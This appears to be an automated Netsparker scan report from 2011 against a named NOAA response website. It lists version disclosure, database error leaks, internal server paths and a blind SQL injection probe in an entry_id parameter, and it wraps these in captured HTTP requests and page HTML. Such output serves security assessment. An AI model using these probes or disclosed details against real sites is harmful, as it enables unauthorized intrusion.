{clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .konqueror .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .graphic_cell_padding { padding-right: 6px; padding-left: 6px; padding-bottom: 6px } </style> <script type="text/javascript" charset="utf-8"> /* CSS Browser Selector v0.3.5 (Feb 05, 2010) Rafael Lima (http://rafael.adm.br) http://rafael.adm.br/css_browser_selector License: http://creativecommons.org/licenses/by/2.5/ Contributors: http://rafael.adm.br/css_browser_selector#contributors */ function css_browser_selector(u){var ua = u.toLowerCase(),is=function(t){return ua.indexOf(t)>-1;},g='gecko',w='webkit',s='safari',o='opera',h=document.documentElement,b=[(!(/opera|webtv/i.test(ua))&&/msie\s(\d)/.test(ua))?('ie ie'+RegExp.$1):is('firefox/2')?g+' ff2':is('firefox/3.5')?g+' ff3 ff3_5':is('firefox/3')?g+' ff3':is('gecko/')?g:is('opera')?o+(/version\/(\d+)/.test(ua)?' '+o+RegExp.$1:(/opera(\s|\/)(\d+)/.test(ua)?' '+o+RegExp.$2:'')):is('konqueror')?'konqueror':is('chrome')?w+' chrome':is('iron')?w+' iron':is('applewebkit/')?w+' '+s+(/version\/(\d+)/.test(ua)?' '+s+RegExp.$1:''):is('mozilla/')?g:'',is('j2me')?'mobile':is('iphone')?'iphone':is('ipod')?'ipod':is('mac')?'mac':is('darwin')?'mac':is('webtv')?'webtv':is('win')?'win':is('freebsd')?'freebsd':(is('x11')||is('linux'))?'linux':'','js']; c = b.join(' '); h.className += ' '+c; return c;}; css_browser_selector(navigator.userAgent); </script> </head> <body bgcolor="#ffffff" leftmargin="5" marginheight="5" marginwidth="5" topmargin="5"> <table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0" height="100%"> <!-- include the banner which inserts a tr / td / table / tr / td / here holding the banner --> <tr>
<td>
<table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0">
<tr height="109">
<td align="center" valign="middle" height="109"><a href="index.php" target="_self"><img src="art_gallery/banners/banner_dwh.jpg" alt="Office of Response and Restoration Web Banner" height="109" width="741" border="0"></a></td>
</tr>
<tr>
<td class="search_bar"><form action="orr_search.php" method="get" name="quick_search" target="_self"> <label for="Search"><span class="sidebar_titles">Search</span></label> <input type="text" name="keywords" id="Search" size="10"> <input type="submit" name="submit" value="Go"></form></td>
</tr>
</table>
</td>
</tr> <!-- this next tr is the start of the row containing the table containing the left menu, central panel and right sidebar --> <tr height="100%"> <td align="left" valign="top" height="100%"> <table summary="for page layout only" width="100%" border="0" cellspacing="0" cellpadding="8" height="100%"> <tr height="100%"> <!-- this td is the start of the left menu column --> <td align="left" valign="top" bgcolor="#ebebeb" width="162" height="100%"> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2"> <tr height="115"> <td align="right" valign="top" height="115"> <table width="150" border="0" cellspacing="2" cellpadding="2"> <!-- tiny icon menu with topic chosen --> <tr> <td><img src='/art_gallery/icons/icon_emergency.jpg' alt='Emergency Response'></td> </tr> </table> <table width="150" border="0" cellspacing="2" cellpadding="2"> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=1'><strong><font color='black'>Emergency Response</font></strong></a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=2'>Pollutants in the Environment</a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=3'>Serving Communities</a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=4'>Natural Resource Restoration</a> </td> </tr> </table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2"> <!-- target audience menu --> <caption> <div align="left"> <span class="sidebar_titles">Information for:</span></div> </caption> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=1' target="_self">Emergency Responders</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=2' target="_self">Students and Teachers</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=4' target="_self">Interested Public</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=5' target="_self">Research Institutions</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=6' target="_self">Other Agencies</a></td> </tr> </table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="../../current_news_topic.php" target="_self">Current News</a></td>
</tr>
<tr>
<td>
<a href="../../special_note_topic.php" target="_self">Special Note</a></td>
</tr>
<tr>
<td>
<a href="../../faq_catalog.php" target="_self">FAQs</a></td>
</tr>
</table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table width="150" border="0" cellspacing="2" cellpadding="2">
<caption>
<div align="left">
<span class="sidebar_titles">Catalogs of:</span>
</div>
</caption>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=2' target="_self">Publications</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=3' target="_self">Software & Data Sets</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=4' target="_self">Web Portals</a></td>
</tr>
<tr>
<td> <a href="../../link_catalog.php" target="_self">Links</a>
</td>
</tr>
<tr>
<td> <a href="../../resource_catalog.php" target="_self">Downloads</a>
</td>
</tr>
<tr>
<td> <a href="../../gallery_catalog.php" target="_self">Image Galleries</a>
</td>
</tr>
<tr>
<td> <a href="../../av_catalog.php" target="_self">Abandoned Vessels</a>
</td>
</tr>
<tr>
<td> <a href="../../dc_catalog.php" target="_self">Drift Card Studies</a>
</td>
</tr>
</table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="orr_about.php" target="_self">About OR&R</a>
</td>
</tr>
<tr>
<td>
<a href="orr_contact.php" target="_self">Contact Us</a>
</td>
</tr>
<tr>
<td>
<a href="orr_search.php" target="_self">Advanced Search</a>
</td>
</tr>
<tr>
<td>
<a href="orr_index_topic.php" target="_self">Site Index</a>
</td>
</tr>
<tr>
<td>
<a title="NOAA's Privacy Policies" href="http://www.noaa.gov/privacy.html" target="_blank">Privacy Policy</a></td>
</tr>
<tr>
<td>
<a title="Document Accessibility" href="audience_subtopic_entry.php?entry_id=748&subtopic_id=27&audience_id=4" target="_self">Document Accessibility</a></td>
</tr>
</table> </td> </tr> </table> <!-- this td is the end of the left menu column --> </td> <!-- the next td starts the central panel --> <td align="left" valign="top" width="100%" height="100%"> <table summary="for page layout only" border="0" cellspacing="0" cellpadding="6"> <tr> <td align="left" valign="top" colspan='2'> <table border="0" cellspacing="0" cellpadding="0"> <!-- special deepwater horizon under banner --> <tr> <td><a onmouseover="window.status='Go to the home page';return true" onmouseout="window.status='';return true" href="deepwaterhorizon" target="_self"><img src="art_gallery/banners/banner_dwh_under.jpg" alt="introductory text" name="special under banner" border="0"></a></td> </tr> </table> </td> </tr> <tr><td colspan='2'><table border='0' cellspacing='0' cellpadding='0' align='center'><tr><td class='entrygroup_table'><a href='dwh.php?entry_id=809' target='_self'>Latest News</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=811' target='_self'>NOAA Roles</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=814' target='_self'>NOAA People</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=819' target='_self'>External Affairs</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=812' target='_self'><strong>Factsheets Publications</strong></a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=820' target='_self'>Press Releases</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=813' target='_self'>Multimedia</a></td></tr></table></td></tr> <tr> <!-- this td tag contains the center content area of the page --> <td align="left" valign="top"> <!-- this next table holds the right side column of the page --> <!-- show the ordinary side bar --> <table summary="for page layout only" align="right" valign="top" border="0" cellspacing="2" cellpadding="2"> <tr> <td align="center" valign="middle"> <!-- sidebar link box 1 --> <table class="sidebar_table" width="158" border="0" cellspacing="4" cellpadding="8"> <tr> <td> <span class="sidebar_titles">For more information</span><br> </td> </tr> <tr> <td class="sidebar_cell"> <a href='/deepwaterhorizon/informationresources' target="_self"><span class="link_title">Information Resources</span></a><br> <span class="link_notes">A collection of links to other web sites with Deepwater Horizon information.</span> <span class="link_info"></span> </td> </tr> </table> <!-- sidebar resource box 1 --> <!-- sidebar link box 2 --> <!-- sidebar resource box 2 --> <!-- sidebar link box 3 --> <!-- sidebar resource box 3 --> <!-- sidebar link box 4 --> <!-- sidebar resource box 4 --> <!-- sidebar link box 5 --> <!-- sidebar resource box 5 --> <!-- sidebar resource box 6 --> <!-- sidebar photo gallery box --> <!-- sidebar faq box --> <!-- sidebar nav link box --> </td> </tr> </table> <p><span class="feature_title">Publications, Factsheets and One-Pagers</span></p> <p> <!-- title / graphic / text block 1 --> </p> <p><span class="feature_title"></span></p> <p>Download more detailed documents with background and technical information.
<P><ul><li><a href="#currentmaps">Cum..
PHP Version Disclosure
PHP Version Disclosure
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.
Impact
An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
- /deepwaterhorizon
/deepwaterhorizon
|
PHP/5.2.6-1+lenny9
Request
GET /deepwaterhorizon HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 302 Found
Date: Sat, 26 Feb 2011 13:47:09 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Location: http://response.restoration.noaa.gov/dwh.php?entry_id=809
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 393
Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Redirect 404 Page</title>
</head>
<body>
<strong>SELECT url_dynamic FROM urls WHERE url_static = '/deepwaterhorizon'<br>
return url = /dwh.php?entry_id=809<BR><BR>
The page you are looking for does not exist. Please update your bookmark(s). We are sorry for this inconvenience.
</strong>
</body>
</html>
Database Error Message
Database Error Message
Netsparker identified a database error message.
Impact
The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.
Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
- /topic_catalog.php
/topic_catalog.php
|
Parameters
Parameter
|
Type
|
Value
|
RECORD_KEY%28topics_chosen%29
|
GET
|
topic_id
|
topic_id(topics_chosen)
|
GET
|
%27
|
Request
GET /topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=%2527 HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:48:14 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 366
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<ERROR Number="2" Description="Error: "mysql_fetch_array(): supplied argument is not a valid MySQL result resource" on line 192 of /mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/topic_catalog.php."/>
Programming Error Message
Programming Error Message
Netsparker identified a programming error message.
Impact
The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. Source code, stack trace, etc. type data may be disclosed. Most of these issues will be identified and reported separately by Netsparker.
Do not provide error messages on production environments. Save error messages with a reference number to a backend storage such as a log, text file or database then show this number and a static user-friendly error message to the user.
- /audience_subtopic_entry.php
/audience_subtopic_entry.php
|
Parameters
Parameter
|
Type
|
Value
|
entry_id
|
GET
|
%27
|
subtopic_id
|
GET
|
27
|
audience_id
|
GET
|
4
|
<b>Fatal error</b>: Call to a member function Value() on a non-object in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/audience_subtopic_entry.php</b> on line <b>28</b>
Request
GET /audience_subtopic_entry.php?entry_id=%2527&subtopic_id=27&audience_id=4 HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 335
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<br /><b>Fatal error</b>: Call to a member function Value() on a non-object in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/audience_subtopic_entry.php</b> on line <b>28</b><br />
Forbidden Resource
Forbidden Resource
Access to this resource has been denied by the web server. This is generally not a security issue, and is reported here for information purposes.
Impact
There is no impact resulting from this issue.
- /art_gallery/
/art_gallery/
CONFIRMED
|
Request
GET /art_gallery/ HTTP/1.1
Referer: http://response.restoration.noaa.gov/art_gallery/banners/banner_dwh.jpg
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 403 Forbidden
Date: Sat, 26 Feb 2011 13:47:09 GMT
Server: Apache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 184
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /art_gallery/on this server.</p></body></html>
MySQL Database Identified
MySQL Database Identified
Netsparker identified that the target web site is using a MySQL Server. This is generally not a security issue and is reported here for information purposes.
Impact
This issue is reported as additional information only, there is no direct impact arising from this issue.
- /audience_subtopic_entry.php
/audience_subtopic_entry.php
CONFIRMED
|
Request
GET /audience_subtopic_entry.php?entry_id=-1%20OR%201=1%20AND%201=(SELECT%20IF((IFNULL(ASCII(SUBSTRING((SELECT%20CONCAT(CHAR(78),CHAR(69),CHAR(84),CHAR(83),CHAR(80),CHAR(65),CHAR(82),CHAR(75),CHAR(69),CHAR(82))),5,1)),0)=88),1,2))&subtopic_id=27&audience_id=4 HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:52:13 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 2081
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<title> | | | NOAA's National Ocean Service Office of Response and Restoration</title>
<meta name="robots" content="noindex,nofollow,noarchive">
<meta name="keywords" content="">
<link href="orr.main.css" rel="stylesheet" media="screen, print">
</head>
<body bgcolor="#ffffff" leftmargin="5" marginheight="5" marginwidth="5" topmargin="5">
<table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0" height="100%">
<!-- banner -->
<tr>
<td>
<table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0">
<tr height="109">
<td align="center" valign="middle" height="109"><img src="/art_gallery/banners/banner_fish_habitat.jpg" alt="Office of Response and Restoration Web Banner" height="109" width="741" border="0"></td>
</tr>
<tr height="10">
<td class="search_bar" height="10" align="right" valign="middle">
<form action="orr_search.php" method="get" name="quick_search" target="_self">
<label for="Search"><span class="sidebar_titles">Search</span></label> <input type="text" name="keywords" id="Search" size="10"> <input type="submit" name="submit" value="Go">
</form>
</td>
</tr>
</table>
</td>
</tr> <tr height="100%">
<td align="left" valign="top" height="100%">
<table summary="for page layout only" width="100%" border="0" cellspacing="0" cellpadding="8" height="100%">
<tr height="100%">
<td align="left" valign="top" bgcolor="#ebebeb" width="162">
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr height="115">
<td align="right" valign="top" height="115">
<table width="150" border="0" cellspacing="2" cellpadding="2">
<!-- tiny icon menu -->
<tr>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=1'><img src='/art_gallery/tiny_icons/tiny_icon_emergency.gif' alt='Emergency Response' border="0"></a></td>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=2'><img src='/art_gallery/tiny_icons/tiny_icon_pollutant.gif' alt='Pollutants in the Environment' border="0"></a></td>
<tr>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=3'><img src='/art_gallery/tiny_icons/tiny_icon_communities.gif' alt='Serving Communities' border="0"></a></td>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=4'><img src='/art_gallery/tiny_icons/tiny_icon_restoration.gif' alt='Natural Resource Restoration' border="0"></a></td>
</tr>
</table>
</td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<!-- target audience menu -->
<caption>
<div align="left">
<span class="sidebar_titles">Information for:</span></div>
</caption>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=1'>Emergency Responders</a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=2'>Students and Teachers</a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=4'>Interested Public</a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=5'>Research Institutions</a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=6'>Other Agencies</a>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="../../current_news_topic.php" target="_self">Current News</a></td>
</tr>
<tr>
<td>
<a href="../../special_note_topic.php" target="_self">Special Note</a></td>
</tr>
<tr>
<td>
<a href="../../faq_catalog.php" target="_self">FAQs</a></td>
</tr>
</table> </td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table width="150" border="0" cellspacing="2" cellpadding="2">
<caption>
<div align="left">
<span class="sidebar_titles">Catalogs of:</span>
</div>
</caption>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=2' target="_self">Publications</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=3' target="_self">Software & Data Sets</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=4' target="_self">Web Portals</a></td>
</tr>
<tr>
<td> <a href="../../link_catalog.php" target="_self">Links</a>
</td>
</tr>
<tr>
<td> <a href="../../resource_catalog.php" target="_self">Downloads</a>
</td>
</tr>
<tr>
<td> <a href="../../gallery_catalog.php" target="_self">Image Galleries</a>
</td>
</tr>
<tr>
<td> <a href="../../av_catalog.php" target="_self">Abandoned Vessels</a>
</td>
</tr>
<tr>
<td> <a href="../../dc_catalog.php" target="_self">Drift Card Studies</a>
</td>
</tr>
</table> </td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="orr_about.php" target="_self">About OR&R</a>
</td>
</tr>
<tr>
<td>
<a href="orr_contact.php" target="_self">Contact Us</a>
</td>
</tr>
<tr>
<td>
<a href="orr_search.php" target="_self">Advanced Search</a>
</td>
</tr>
<tr>
<td>
<a href="orr_index_topic.php" target="_self">Site Index</a>
</td>
</tr>
<tr>
<td>
<a title="NOAA's Privacy Policies" href="http://www.noaa.gov/privacy.html" target="_blank">Privacy Policy</a></td>
</tr>
<tr>
<td>
<a title="Document Accessibility" href="audience_subtopic_entry.php?entry_id=748&subtopic_id=27&audience_id=4" target="_self"><strong><font color='black'>Document Accessibility</font></strong></a></td>
</tr>
</table> </td>
</tr>
</table>
</td>
<td align="left" valign="top" width="100%">
<table summary="for page layout only" border="0" cellspacing="0" cellpadding="8">
<tr>
<td align="left" valign="top">
<table border="0" cellspacing="0" cellpadding="3">
<!-- breadcrumb trail -->
<tr height="60">
<td width="60" height="60"><a onmouseover="window.status='Go to the home page';return true" onmouseout="window.status='';return true" href="index.php" target="_self"><img src="art_gallery/524_NOAA-logo-no-type.jpg" alt="small noaa logo" name="_524_NOAA_logo_no_type" border="0"></a></td>
<td align="left" valign="middle" height="60"><a href="index.php" target="_self"><span class="center_titles">Home</span></a> | <a href='audience_catalog.php?<br /><b>Fatal error</b>: Call to a member function GetName() on a non-object in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/utils.runtime6.php</b> on line <b>732</b><br />
E-mail Address Disclosure
E-mail Address Disclosure
Netsparker found e-mail addresses on the web site.
Impact
E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .
Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.
External References
orr.webmaster@noaa.gov
Request
GET /dwh.php?entry_id=812 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:09 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Set-Cookie: PHPSESSID=519f6f3181b8c1eb7a34056beb0b2e04; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 8646
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"> <title>Publications, Factsheets and One-Pagers | Recent and Historical Incidents | Emergency Response | NOAA's National Ocean Service Office of Response and Restoration</title> <meta name="robots" content="noindex,nofollow,noarchive"> <meta name="keywords" content="Deepwater Horizon oil rig fire, Deepwater Horizon oil well fire, MODU, Mississippi Canyon 252, Louisiana, Mississippi"> <link href="orr.main.css" rel="stylesheet" media="screen, print"> <style type="text/css"> .ie .no_overlap {float: none; clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .ie7 .no_overlap {float: none; clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .win.gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .webkit .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .linux.gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .konqueror .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .graphic_cell_padding { padding-right: 6px; padding-left: 6px; padding-bottom: 6px } </style> <script type="text/javascript" charset="utf-8"> /* CSS Browser Selector v0.3.5 (Feb 05, 2010) Rafael Lima (http://rafael.adm.br) http://rafael.adm.br/css_browser_selector License: http://creativecommons.org/licenses/by/2.5/ Contributors: http://rafael.adm.br/css_browser_selector#contributors */ function css_browser_selector(u){var ua = u.toLowerCase(),is=function(t){return ua.indexOf(t)>-1;},g='gecko',w='webkit',s='safari',o='opera',h=document.documentElement,b=[(!(/opera|webtv/i.test(ua))&&/msie\s(\d)/.test(ua))?('ie ie'+RegExp.$1):is('firefox/2')?g+' ff2':is('firefox/3.5')?g+' ff3 ff3_5':is('firefox/3')?g+' ff3':is('gecko/')?g:is('opera')?o+(/version\/(\d+)/.test(ua)?' '+o+RegExp.$1:(/opera(\s|\/)(\d+)/.test(ua)?' '+o+RegExp.$2:'')):is('konqueror')?'konqueror':is('chrome')?w+' chrome':is('iron')?w+' iron':is('applewebkit/')?w+' '+s+(/version\/(\d+)/.test(ua)?' '+s+RegExp.$1:''):is('mozilla/')?g:'',is('j2me')?'mobile':is('iphone')?'iphone':is('ipod')?'ipod':is('mac')?'mac':is('darwin')?'mac':is('webtv')?'webtv':is('win')?'win':is('freebsd')?'freebsd':(is('x11')||is('linux'))?'linux':'','js']; c = b.join(' '); h.className += ' '+c; return c;}; css_browser_selector(navigator.userAgent); </script> </head> <body bgcolor="#ffffff" leftmargin="5" marginheight="5" marginwidth="5" topmargin="5"> <table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0" height="100%"> <!-- include the banner which inserts a tr / td / table / tr / td / here holding the banner --> <tr>
<td>
<table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0">
<tr height="109">
<td align="center" valign="middle" height="109"><a href="index.php" target="_self"><img src="art_gallery/banners/banner_dwh.jpg" alt="Office of Response and Restoration Web Banner" height="109" width="741" border="0"></a></td>
</tr>
<tr>
<td class="search_bar"><form action="orr_search.php" method="get" name="quick_search" target="_self"> <label for="Search"><span class="sidebar_titles">Search</span></label> <input type="text" name="keywords" id="Search" size="10"> <input type="submit" name="submit" value="Go"></form></td>
</tr>
</table>
</td>
